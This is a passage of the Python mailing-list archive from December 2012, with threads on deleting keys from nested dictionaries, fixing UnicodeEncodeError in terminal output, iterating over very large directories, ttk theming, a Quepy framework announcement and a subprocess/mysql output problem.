<943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> Message-ID: <50CF5B81.60107@davea.name> On 12/17/2012 12:27 PM, Gnarlodious wrote: > Hello. What I want to do is delete every dictionary key/value of the name 'Favicon' regardless of depth in subdicts, of which there are many. What is the best way to do it? > > -- Gnarlie I would write a recursive function that accepts a dict. In that function, if a key "Favicon" exists, then remove it. Then loop through the dictionary key/value pairs, and for any value that's an instance of dict, call yourself recursively. Give it a try, and if it won't work, supply us with a bit more information, starting with a sample dict, and the python version you're aiming at. -- DaveA From d at davea.name Mon Dec 17 13:07:46 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 13:07:46 -0500 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50CF5F72.90402@davea.name> On 12/17/2012 12:43 PM, Anatoli Hristov wrote: >> Hi, >> I don't know, what the product ID would look like, for this page, but >> assuming, the catalog pages are also utf-8 encoded as well as the >> error page I get, it should work ok; cf.: > You are right, I get it work on Windows too, but not in Linux. I > changed the codec of linux, but still I don't get it > > Here is what I get from Linux: > >>>> import urllib >>>> opener = urllib.FancyURLopener({}) >>>> ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % (14688538)) >>>> src = ffr.read() >>>> print src.decode("utf-8") > Traceback (most recent call last): > File "", line 1, in ? > UnicodeEncodeError: 'latin-1' codec can't encode character u'\u2122' > in position 17167: ordinal not in range(256) I can tell you what's happening, but maybe not how to fix it. src.decode() is creating a unicode string. The error is not happening there. But when print is used with a unicode string, it has to encode the data. And for whatever reason, yours is using latin-1, and you have a character in there which is not in the latin-1 encoding. My python 2.7 uses utf-8 everywhere (on Linux Ubuntu 11.04). -- DaveA From python at mrabarnett.plus.com Mon Dec 17 13:29:46 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 17 Dec 2012 18:29:46 +0000 Subject: Iterating over files of a huge directory In-Reply-To: <87d2y8io7i.fsf@no-fixed-abode.cable.virginmedia.net> References: <87d2y8io7i.fsf@no-fixed-abode.cable.virginmedia.net> Message-ID: <50CF649A.606@mrabarnett.plus.com> On 2012-12-17 17:27, Paul Rudin wrote: > Chris Angelico writes: > >> On Tue, Dec 18, 2012 at 2:28 AM, Gilles Lenfant >> wrote: >>> Hi, >>> >>> I have googled but did not find an efficient solution to my >>> problem. My customer provides a directory with a huuuuge list of >>> files (flat, potentially 100000+) and I cannot reasonably use >>> os.listdir(this_path) unless creating a big memory footprint. >>> >>> So I'm looking for an iterator that yields the file names of a >>> directory and does not make a giant list of what's in. >> >> Sounds like you want os.walk. > > But doesn't os.walk call listdir() and that creates a list of the > contents of a directory, which is exactly the initial problem? > >> But... a hundred thousand files? I know the Zen of Python says that >> flat is better than nested, but surely there's some kind of directory >> structure that would make this marginally manageable? >> > > Sometimes you have to deal with things other people have designed, so > the directory structure is not something you can control. I've run up > against exactly the same problem and made something in C that > implemented an iterator. > Years ago I had to deal with an in-house application that was written using a certain database package. The package stored each predefined query in a separate file in the same directory. I found that if I packed all the predefined queries into a single file and then called an external utility to extract the desired query from the file every time it was needed into a file for the package to use, not only did it save a significant amount of disk space (hard disks were a lot smaller then), I also got a significant speed-up! It wasn't as bad as 100000 in one directory, but it was certainly too many... > It would probably be better if listdir() made an iterator rather than a > list. > From python.list at tim.thechases.com Mon Dec 17 13:30:16 2012 From: python.list at tim.thechases.com (Tim Chase) Date: Mon, 17 Dec 2012 12:30:16 -0600 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF59DE.6080608@lightbird.net> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> Message-ID: <50CF64B8.6010305@tim.thechases.com> On 12/17/12 11:43, Mitya Sirenef wrote: > On 12/17/2012 12:27 PM, Gnarlodious wrote: >> Hello. What I want to do is delete every dictionary key/value >> of the name 'Favicon' regardless of depth in subdicts, of which >> there are many. What is the best way to do it? > > Something like this should work: > > def delkey(d, key): > if isinstance(d, dict): > if key in d: del d[key] > for val in d.values(): > delkey(val, key) Unless you have something hatefully recursive like d = {} d["hello"] = d :-) However, assuming the initial structure is tree-ish (acyclic), Mitya's function should do the trick -tkc From tolidtm at gmail.com Mon Dec 17 13:36:01 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 19:36:01 +0100 Subject: Unicode In-Reply-To: <50CF5F72.90402@davea.name> References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: > src.decode() is creating a unicode string. The error is not happening > there. But when print is used with a unicode string, it has to encode > the data. And for whatever reason, yours is using latin-1, and you have > a character in there which is not in the latin-1 encoding. I fixed the print, I changed the setting of the terminal and also on the sshconfig, so now when I print I'm able to print out without problems, but when I tried to run the script I've made it gives me again the same error : ""Unexpected error: exceptions.UnicodeEncodeError """ Maybe I will try to update to 2.7 From driscoll at cs.wisc.edu Mon Dec 17 13:40:49 2012 From: driscoll at cs.wisc.edu (Evan Driscoll) Date: Mon, 17 Dec 2012 12:40:49 -0600 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: <50CF6731.3070705@cs.wisc.edu> On 12/17/2012 09:52 AM, Oscar Benjamin wrote: > In the last couple of months there has been a lot of discussion (on > python-list or python-dev - not sure) about creating a library to more > efficiently iterate over the files in a directory. The result so far > is this library on github: > https://github.com/benhoyt/betterwalk This is very useful to know about; thanks. I actually wrote something very similar on my own (I wanted to get information about whether each directory entry was a file, directory, symlink, etc. without separate stat() calls). I'm guessing that the library you linked is more mature than mine (I only have a Linux implementation at present, for instance) so I'm happy to see that I could probably switch to something better... and even happier that it sounds like it's aiming for inclusion in the standard library. (Also just for the record and anyone looking for other posts, I'd guess said discussion was on Python-dev. I don't look at even remotely everything on python-list (there's just too much), but I do skim most subject lines and I haven't noticed any discussion on it before now.) Evan -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 554 bytes Desc: OpenPGP digital signature URL: From vlastimil.brom at gmail.com Mon Dec 17 13:51:47 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Mon, 17 Dec 2012 19:51:47 +0100 Subject: How to exactly set style in tkinter.ttk In-Reply-To: <1fa4e1a3.209f0ec0.50cf503e.8c0b1@o2.pl> References: <1fa4e1a3.209f0ec0.50cf503e.8c0b1@o2.pl> Message-ID: 2012/12/17 Netrick : > So, we have now in python 3 the tile module > http://tktable.sourceforge.net/tile/screenshots/unix.html integrated as > tkinter.ttk. However, in the python and tk docs there is a lot about that > tkk, but only how to set your own style for specific widgets. There is > nothing on how to use that built-in theme (the one that interests me is the > "Revitalized" one, see the link I wrote) as a global style for all widgets. > How can I do it? I just want my python 3.3 app to use that built-in style, > but I can't find anything in docs about it. > > Or we have better way for tkinter on linux to look more native and less > ugly? (for example IDLE for python 3.3 written in tkinter looks like windows > 95 app on linux and pretty good on windows xp). > > Thanks! > > -- > http://mail.python.org/mailman/listinfo/python-list > Hi, I don't use ttk myself, but it seems, that the original demo from Guilherme Polo might contain the functionality you are looking for: http://code.google.com/p/python-ttk/downloads/list pyttk-samples-0.1.7.tar.gz theming.py in the (top-right) section "Style": "Themes" (although I see partly different themes on Windows7 - it's possibly platform dependent). You may be able to find out the appropriate usage from the source code. hth, vbr From quepyproject at machinalis.com Mon Dec 17 14:45:10 2012 From: quepyproject at machinalis.com (quepyproject at machinalis.com) Date: Mon, 17 Dec 2012 11:45:10 -0800 (PST) Subject: Quepy is a framework to transform questions in natural language into queries in a database language. Message-ID: We are sharing an open source framework that we made here at Machinalis: Quepy https://github.com/machinalis/quepy Quepy is a framework to transform questions in natural language into queries in a database language. It can be easily adapted to different types of questions in natural language, so that with little code you can build your own interface to a database in natural language. Currently, Quepy supports only the SPARQL query language, but in future versions and with the collaboration of the community we are planning to extend it to other database query languages. You are invited to participate and collaborate with the project. We leave here links to the documentation [0], the source code [1], and also a Pypi package [2]. Also, as an example, we have an online instance of Quepy the interacts with DBpedia available [3]. Source code for this example instance is available within the Quepy package so you can kickstart your project from an existing, working example. If you like it, or if you have suggestions: Tell us about it! We're just an email away [4]. Cheers! [0] https://github.com/machinalis/quepy [1] http://quepy.readthedocs.org/ [2] http://pypi.python.org/pypi/quepy/ [3] quepy.machinalis.com (Don't expect a QA system, it's an example) [4] quepyproject[(at)]machinalis.com From oscar.j.benjamin at gmail.com Mon Dec 17 14:50:53 2012 From: oscar.j.benjamin at gmail.com (Oscar Benjamin) Date: Mon, 17 Dec 2012 19:50:53 +0000 Subject: Iterating over files of a huge directory In-Reply-To: <50CF6731.3070705@cs.wisc.edu> References: <50CF6731.3070705@cs.wisc.edu> Message-ID: On 17 December 2012 18:40, Evan Driscoll wrote: > On 12/17/2012 09:52 AM, Oscar Benjamin wrote: >> https://github.com/benhoyt/betterwalk > > This is very useful to know about; thanks. > > I actually wrote something very similar on my own (I wanted to get > information about whether each directory entry was a file, directory, > symlink, etc. without separate stat() calls). The initial goal of betterwalk seemed to be the ability to do os.walk with fewer stat calls. I think the information you want is part of what betterwalk finds "for free" from the underlying OS iteration (without the need to call stat()) but I'm not sure. > (Also just for the record and anyone looking for other posts, I'd guess > said discussion was on Python-dev. I don't look at even remotely > everything on python-list (there's just too much), but I do skim most > subject lines and I haven't noticed any discussion on it before now.) Actually, it was python-ideas: http://thread.gmane.org/gmane.comp.python.ideas/17932 http://thread.gmane.org/gmane.comp.python.ideas/17757 From vlastimil.brom at gmail.com Mon Dec 17 14:55:03 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Mon, 17 Dec 2012 20:55:03 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: 2012/12/17 Anatoli Hristov : >> src.decode() is creating a unicode string. The error is not happening >> there. But when print is used with a unicode string, it has to encode >> the data. And for whatever reason, yours is using latin-1, and you have >> a character in there which is not in the latin-1 encoding. > I fixed the print, I changed the setting of the terminal and also on > the sshconfig, so now when I print I'm able to print out without > problems, but when I tried to run the script I've made it gives me > again the same error : > ""Unexpected error: exceptions.UnicodeEncodeError > """ > Maybe I will try to update to 2.7 > -- > http://mail.python.org/mailman/listinfo/python-list Well, we don't see the context or traceback of that error, but it looks like a mysql error on inserting data. Could it be, that your database is not unicode enabled, e.g. utf-8, but, say, latin-1? I don't have experiences with this database this, but I guess, there must be some configure options for this. Would maybe setting the encoding in db.connect(...) work? cf.: http://stackoverflow.com/questions/8365660/python-mysql-unicode-and-encoding Hopefully, others might give more reliable suggestions.. hth, vbr From tolidtm at gmail.com Mon Dec 17 15:00:28 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 21:00:28 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: > I fixed the print, I changed the setting of the terminal and also on > the sshconfig, so now when I print I'm able to print out without > problems, but when I tried to run the script I've made it gives me > again the same error : > ""Unexpected error: exceptions.UnicodeEncodeError > """ > Maybe I will try to update to 2.7 Upgraded to python 27 and still it gives Unexpected error: exceptions.UnicodeEncodeError. Damn encoders I don'y know what to do... From driscoll at cs.wisc.edu Mon Dec 17 15:09:34 2012 From: driscoll at cs.wisc.edu (Evan Driscoll) Date: Mon, 17 Dec 2012 14:09:34 -0600 Subject: Iterating over files of a huge directory In-Reply-To: References: <50CF6731.3070705@cs.wisc.edu> Message-ID: <50CF7BFE.1070806@cs.wisc.edu> On 12/17/2012 01:50 PM, Oscar Benjamin wrote: > On 17 December 2012 18:40, Evan Driscoll wrote: >> On 12/17/2012 09:52 AM, Oscar Benjamin wrote: >>> https://github.com/benhoyt/betterwalk >> >> This is very useful to know about; thanks. >> >> I actually wrote something very similar on my own (I wanted to get >> information about whether each directory entry was a file, directory, >> symlink, etc. without separate stat() calls). > > The initial goal of betterwalk seemed to be the ability to do os.walk > with fewer stat calls. I think the information you want is part of > what betterwalk finds "for free" from the underlying OS iteration > (without the need to call stat()) but I'm not sure. Yes, that's my impression as well. >> (Also just for the record and anyone looking for other posts, I'd guess >> said discussion was on Python-dev. I don't look at even remotely >> everything on python-list (there's just too much), but I do skim most >> subject lines and I haven't noticed any discussion on it before now.) > > Actually, it was python-ideas: > http://thread.gmane.org/gmane.comp.python.ideas/17932 > http://thread.gmane.org/gmane.comp.python.ideas/17757 Thanks again for the pointers; I'll have to go through that thread. It's possible I can contribute something; it sounds like at least at one point the implementation was ctypes-based and is sometimes slower, and I have both a (now-defunct) C implementation and my current Cython module. Ironically I haven't actually benchmarked mine. :-) Evan -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 554 bytes Desc: OpenPGP digital signature URL: From conor.robinson at gmail.com Mon Dec 17 15:56:50 2012 From: conor.robinson at gmail.com (py_genetic) Date: Mon, 17 Dec 2012 12:56:50 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> Message-ID: <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Oscar, seems you may be correct. I need to run this program as a superuser. However, after some more tests with simple commands... I seem to be working correctly from any permission level in python.... Except for the output write command from the database to a file. Which runs fine if I paste it into the cmd line. Also, subprocess.call_check() returns clean. However, nothing is written to the output file when called from python. so this cmd runs great from the cmd line (sudo or no) however the output file in this case is owned by the sysadmin either way... not root? /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT When run from sudo python (other files are also created and owned by root correctly) however no output is written from the db command zero byte file only (owned by root)... returns to python with no errors. I'm sorta at a loss. I'd rather still avoid having python connect to the db directly or reading the data from stdout, is a waste or mem and time for what I need. Thanks for any more thoughts. > > Because of the root permissions on the file? What happens if you write > > to a file that doesn't need privileged access? > > > > Instead of running the "exact command", run the cat commands you > > posted (that Steven has confirmed as working) and run them somewhere > > in your user directory without root permissions. > > > > Also you may want to use subprocess.check_call as this raises a Python > > error if the command returns an error code. > > > > > > Oscar From conor.robinson at gmail.com Mon Dec 17 15:56:50 2012 From: conor.robinson at gmail.com (py_genetic) Date: Mon, 17 Dec 2012 12:56:50 -0800 (PST) Subject: os.system and subprocess odd behavior In-Reply-To: References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> Message-ID: <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Oscar, seems you may be correct. I need to run this program as a superuser. However, after some more tests with simple commands... I seem to be working correctly from any permission level in python.... Except for the output write command from the database to a file. Which runs fine if I paste it into the cmd line. Also, subprocess.call_check() returns clean. However, nothing is written to the output file when called from python. so this cmd runs great from the cmd line (sudo or no) however the output file in this case is owned by the sysadmin either way... not root? /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT When run from sudo python (other files are also created and owned by root correctly) however no output is written from the db command zero byte file only (owned by root)... returns to python with no errors. I'm sorta at a loss. I'd rather still avoid having python connect to the db directly or reading the data from stdout, is a waste or mem and time for what I need. Thanks for any more thoughts. > > Because of the root permissions on the file? What happens if you write > > to a file that doesn't need privileged access? > > > > Instead of running the "exact command", run the cat commands you > > posted (that Steven has confirmed as working) and run them somewhere > > in your user directory without root permissions. > > > > Also you may want to use subprocess.check_call as this raises a Python > > error if the command returns an error code. > > > > > > Oscar From d at davea.name Mon Dec 17 16:09:04 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 16:09:04 -0500 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: <50CF89F0.4070307@davea.name> On 12/17/2012 03:00 PM, Anatoli Hristov wrote: >> I fixed the print, I changed the setting of the terminal and also on >> the sshconfig, so now when I print I'm able to print out without >> problems, but when I tried to run the script I've made it gives me >> again the same error : >> ""Unexpected error: exceptions.UnicodeEncodeError >> """ That's not the whole error message. What encoding does it report in the error? Maybe I will try to update to 2.7 > Upgraded to python 27 and still it gives Unexpected error: > exceptions.UnicodeEncodeError. Damn encoders I don'y know what to > do... I doubted that 2.7 would make any difference. 1. What does your "terminal' expect. (For all I know you're using TeraTermPro as a terminal, which doesn't support utf-8.) Have you looked at the terminal encoding to see what your copy of Terminal is expecting? On my Ubuntu Linux, I open the terminal with Ctrl-Alt-t, then in the menu bar, I select Terminal->SetCharacterEncoding->utf-8 2. What does your environment tell Linux to support? At a bash prompt, try echo $LANG (there are two other environment variables I've seen reference to, so this aspect is nuts) Mine says en_US.UTF-8 3. What does Python think it was told? import sys print sys.stdout.encoding Mine says UTF-8 I can force a similar error as follows: import urllib opener = urllib.FancyURLopener({}) ffr = opener.open("http://prf.icecat.biz/index.cgi?product_id=%s;mi=start;smi=product;shopname=openICEcat-url;lang=fr" % (14688538)) src = ffr.read() out = src.decode("utf-8").encode("latin-1") Traceback (most recent call last): File "anatoli3.py", line 9, in src.decode("utf-8").encode("latin-1") UnicodeEncodeError: 'latin-1' codec can't encode character u'\u2122' in position 17167: ordinal not in range(256) And from that it's quite clear that for that particular data, I cannot use a latin-1 encoder. So I did a bit of hunting, and I find the offending character is the one after the word 'Core" in the following quote: processeurs Intel? Core? de 3?me g?n?ration The symbol is a trademark symbol and is not part of latin-1. If you're really stuck with a latin-1 terminal, then you could do something like: print src.decode("utf-8").encode("latin-1", "ignore") That says to decode it using utf-8 (because the html declared a utf-8 encoding), and encode it back to latin-1 (because your terminal is stuck there), then print. Just realize that once you start using 'ignore' you're going to also ignore discrepancies that are real. For example, maybe your terminal is actual something other than either latin-1 or utf-8. For others that just want to play with a minimal subset: test = u'processeurs Intel\xae Core\u2122 de 3\xe8me g\xe9n\xe9ration av' print test print test.encode("latin-1", "ignore") print test.encode("latin-1") produces : processeurs Intel? Core? de 3?me g?n?ration av processeurs Intel? Core de 3?me g?n?ration av Traceback (most recent call last): File "anatoli3.py", line 22, in print test.encode("latin-1") UnicodeEncodeError: 'latin-1' codec can't encode character u'\u2122' in position 23: ordinal not in range(256) -- DaveA From rosuav at gmail.com Mon Dec 17 16:10:26 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 18 Dec 2012 08:10:26 +1100 Subject: Iterating over files of a huge directory In-Reply-To: <50CF649A.606@mrabarnett.plus.com> References: <87d2y8io7i.fsf@no-fixed-abode.cable.virginmedia.net> <50CF649A.606@mrabarnett.plus.com> Message-ID: On Tue, Dec 18, 2012 at 5:29 AM, MRAB wrote: > > Years ago I had to deal with an in-house application that was written > using a certain database package. The package stored each predefined > query in a separate file in the same directory. > > I found that if I packed all the predefined queries into a single file > and then called an external utility to extract the desired query from > the file every time it was needed into a file for the package to use, > not only did it save a significant amount of disk space (hard disks > were a lot smaller then), I also got a significant speed-up! > > It wasn't as bad as 100000 in one directory, but it was certainly too > many... > Smart Cache, a web cache that we used to use on our network a while ago, could potentially make a ridiculous number of subdirectories (one for each domain you go to). Its solution: Hash the domain, then put it into partitioning directories - by default, 4x4 of them, meaning that there were four directories /0/ /1/ /2/ /3/ and the same inside each of them, so the "real content" was divided sixteen ways. I don't know if PC file systems are better at it now than they were back in the mid-90s, but definitely back then, storing too much in one directory would give a pretty serious performance penalty. ChrisA From tjreedy at udel.edu Mon Dec 17 16:27:22 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 17 Dec 2012 16:27:22 -0500 Subject: Iterating over files of a huge directory In-Reply-To: References: Message-ID: On 12/17/2012 10:28 AM, Gilles Lenfant wrote: > Hi, > > I have googled but did not find an efficient solution to my problem. > My customer provides a directory with a huuuuge list of files (flat, > potentially 100000+) and I cannot reasonably use > os.listdir(this_path) unless creating a big memory footprint. Is is really big enough to be a real problem? See below. > So I'm looking for an iterator that yields the file names of a > directory and does not make a giant list of what's in. > > i.e : > > for filename in enumerate_files(some_directory): # My cooking... See http://bugs.python.org/issue11406 As I said there, I personally think (and still do) that listdir should have been changed in 3.0 to return an iterator rather than a list. Developers who count more than me disagree on the basis that no application has the millions of directory entries needed to make space a real issue. They also claim that time is a wash either way. As for space, 100000 entries x 100 bytes/entry (generous guess at average) = 10,000,000 bytes, no big deal with gigabyte memories. So the logic goes. A smaller example from my machine with 3.3. from sys import getsizeof def seqsize(seq): "Get size of flat sequence and contents" return sum((getsizeof(item) for item in seq), getsizeof(seq)) import os d = os.listdir() print(seqsize([1,2,3]), len(d), seqsize(d)) # 172 45 3128 The size per entry is relatively short because the two-level directory prefix for each path is only about 15 bytes. By using 3.3 rather than 3.0-3.2, the all-ascii-char unicode paths only take 1 byte per char rather than 2 or 4. If you disagree with the responses on the issue, after reading them, post one yourself with real numbers. -- Terry Jan Reedy From msirenef at lightbird.net Mon Dec 17 16:33:48 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Mon, 17 Dec 2012 16:33:48 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF64B8.6010305@tim.thechases.com> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> Message-ID: <50CF8FBC.9000100@lightbird.net> On 12/17/2012 01:30 PM, Tim Chase wrote: > On 12/17/12 11:43, Mitya Sirenef wrote: >> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>> Hello. What I want to do is delete every dictionary key/value >>> of the name 'Favicon' regardless of depth in subdicts, of which >>> there are many. What is the best way to do it? >> Something like this should work: >> >> def delkey(d, key): >> if isinstance(d, dict): >> if key in d: del d[key] >> for val in d.values(): >> delkey(val, key) > Unless you have something hatefully recursive like > > d = {} > d["hello"] = d > > :-) True -- didn't think of that..! I guess then adding a check 'if val is not d: delkey(val, key)' would take care of it? -m -- Lark's Tongue Guide to Python: http://lightbird.net/larks/ From rosuav at gmail.com Mon Dec 17 16:53:16 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 18 Dec 2012 08:53:16 +1100 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF8FBC.9000100@lightbird.net> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> Message-ID: On Tue, Dec 18, 2012 at 8:33 AM, Mitya Sirenef wrote: > On 12/17/2012 01:30 PM, Tim Chase wrote: >> >> On 12/17/12 11:43, Mitya Sirenef wrote: >>> >>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>> >>>> Hello. What I want to do is delete every dictionary key/value >>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>> there are many. What is the best way to do it? >>> >>> Something like this should work: >>> >>> def delkey(d, key): >>> if isinstance(d, dict): >>> if key in d: del d[key] >>> for val in d.values(): >>> delkey(val, key) >> >> Unless you have something hatefully recursive like >> >> d = {} >> d["hello"] = d >> >> :-) > > > True -- didn't think of that..! > > I guess then adding a check 'if val is not d: delkey(val, key)' > would take care of it? Nope, recursion could occur anywhere. You'd have to maintain a set of "visited nodes" (or their id()s, same diff), and skip any that are in it. ChrisA From d at davea.name Mon Dec 17 17:00:27 2012 From: d at davea.name (Dave Angel) Date: Mon, 17 Dec 2012 17:00:27 -0500 Subject: Delete dict and subdict items of some name In-Reply-To: <50CF8FBC.9000100@lightbird.net> References: <943dbf16-1cd1-4844-a666-d8863f5941f8@googlegroups.com> <50CF59DE.6080608@lightbird.net> <50CF64B8.6010305@tim.thechases.com> <50CF8FBC.9000100@lightbird.net> Message-ID: <50CF95FB.6060800@davea.name> On 12/17/2012 04:33 PM, Mitya Sirenef wrote: > On 12/17/2012 01:30 PM, Tim Chase wrote: >> On 12/17/12 11:43, Mitya Sirenef wrote: >>> On 12/17/2012 12:27 PM, Gnarlodious wrote: >>>> Hello. What I want to do is delete every dictionary key/value >>>> of the name 'Favicon' regardless of depth in subdicts, of which >>>> there are many. What is the best way to do it? >>> Something like this should work: >>> >>> def delkey(d, key): >>> if isinstance(d, dict): >>> if key in d: del d[key] >>> for val in d.values(): >>> delkey(val, key) >> Unless you have something hatefully recursive like >> >> d = {} >> d["hello"] = d >> >> :-) > > True -- didn't think of that..! > > I guess then adding a check 'if val is not d: delkey(val, key)' > would take care of it? > No, that would only cover the self-recursive case. If there's a dict which contains another one, which contains the first, then the recursion is indirect, and much harder to check for. Checking reliably for arbitrary recursion patterns is tricky, but do-able. Most people degenerate into just setting an arbitrary max depth. But I can describe two approaches to this kind of problem. 1) build a list of the recursion path at present, and compare against the whole path, rather than just the tail. If there are any matches, quit. 2) make the iterator an object, and instantiate two of them. Then each recursive level, iterate the main one once, and the secondary one twice. If the two ever match, you have a loop. Deciding what to do at that point is tricky because you may have processed some nodes multiple times already. But at least it'll terminate, and it doesn't use linear memory to do so. I call this one the lollypop algorithm. -- DaveA From hansmu at xs4all.nl Mon Dec 17 17:02:18 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Mon, 17 Dec 2012 23:02:18 +0100 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: <50cf966b$0$6969$e4fe514c@news2.news.xs4all.nl> On 17/12/12 22:09:04, Dave Angel wrote: > print src.decode("utf-8").encode("latin-1", "ignore") > > That says to decode it using utf-8 (because the html declared a utf-8 > encoding), and encode it back to latin-1 (because your terminal is stuck > there), then print. > > > Just realize that once you start using 'ignore' you're going to also > ignore discrepancies that are real. For example, maybe your terminal is > actual something other than either latin-1 or utf-8. If you need to see such discrepancies, you can do print src.decode("utf-8").encode("latin-1", ""xmlcharrefreplace") That would produce something like: processeurs Intel? Core™ de 3?me g?n?ration av that is, the problem characters are displayed in &#...; notation. That is ugly, but sometimes it's the only way to see what character you really have. Notice that the number you get is in decimal, where the \u.... notation uses hex: >>> ord(u"\u2122") 8482 >>> Hope this helps, -- HansM From tjreedy at udel.edu Mon Dec 17 17:03:21 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 17 Dec 2012 17:03:21 -0500 Subject: Unicode In-Reply-To: References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> Message-ID: On 12/17/2012 3:00 PM, Anatoli Hristov wrote: >> I fixed the print, I changed the setting of the terminal and also on >> the sshconfig, so now when I print I'm able to print out without >> problems, but when I tried to run the script I've made it gives me >> again the same error : >> ""Unexpected error: exceptions.UnicodeEncodeError >> """ >> Maybe I will try to update to 2.7 > > Upgraded to python 27 and still it gives Unexpected error: > exceptions.UnicodeEncodeError. Damn encoders I don'y know what to > do... If you are working with unicode, and you can upgrade to 3.3, you will probably we happier if you do. This does not solve all problems, but the python side is definitely better. (IE, there are unicode bugs in 2.7 whose fix *is* to upgrade to 3.3.) That said, retrieving http://prf.icecat.biz/index.cgi?product_id=14688538;mi=start;smi=product;shopname=openICEcat-url;lang=fr with Firefox on Win 7 returns a page containing so I presume the http encoding is also utf-8 Also: printing to the screen in IDLE may work better than with the standard interactive console (especially the awful Windows version). I have the font set to Lucida Sans Unicode (this may be windows specific) which seems to works for all BMP (Basic Multilingual Plane) chars. -- Terry Jan Reedy From tolidtm at gmail.com Mon Dec 17 17:31:42 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 23:31:42 +0100 Subject: Unicode In-Reply-To: <50CF89F0.4070307@davea.name> References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> <50CF89F0.4070307@davea.name> Message-ID: > I doubted that 2.7 would make any difference. Yeah this complicated my life even more, all my import functions was gone - took me 2h to fix all :) and it does not solved my issue:) > > 1. What does your "terminal' expect. (For all I know you're using > TeraTermPro as a terminal, which doesn't support utf-8.) > Have you looked at the terminal encoding to see what your copy of > Terminal is expecting? On my Ubuntu Linux, I open the terminal with > Ctrl-Alt-t, then in the menu bar, I select > Terminal->SetCharacterEncoding->utf-8 I'm using putty for windows and I changed the putty to UTF-8 and this is what solved the problem - ihuuuuuu :p There is no logic, but it solved the issue ! > 2. What does your environment tell Linux to support? At a bash prompt, try > echo $LANG (there are two other environment variables I've seen > reference to, so this aspect is nuts) > Mine says > en_US.UTF-8 Mine too US.UTF-8, but the putty was in latin1 > 3. What does Python think it was told? > import sys > print sys.stdout.encoding > > Mine says > UTF-8 Mine too :p Thank you Dave you always come with a solution :) From tolidtm at gmail.com Mon Dec 17 17:33:48 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Mon, 17 Dec 2012 23:33:48 +0100 Subject: Unicode In-Reply-To: <50cf966b$0$6969$e4fe514c@news2.news.xs4all.nl> References: <50ceb674$0$29868$c3e8da3$5496439d@news.astraweb.com> <50CF5F72.90402@davea.name> <50cf966b$0$6969$e4fe514c@news2.news.xs4all.nl> Message-ID: >> Just realize that once you start using 'ignore' you're going to also >> ignore discrepancies that are real. For example, maybe your terminal is >> actual something other than either latin-1 or utf-8. > > If you need to see such discrepancies, you can do > > print src.decode("utf-8").encode("latin-1", ""xmlcharrefreplace") > > > That would produce something like: > > processeurs Intel? Core™ de 3?me g?n?ration av > > that is, the problem characters are displayed in &#...; notation. > That is ugly, but sometimes it's the only way to see what character > you really have. > > Notice that the 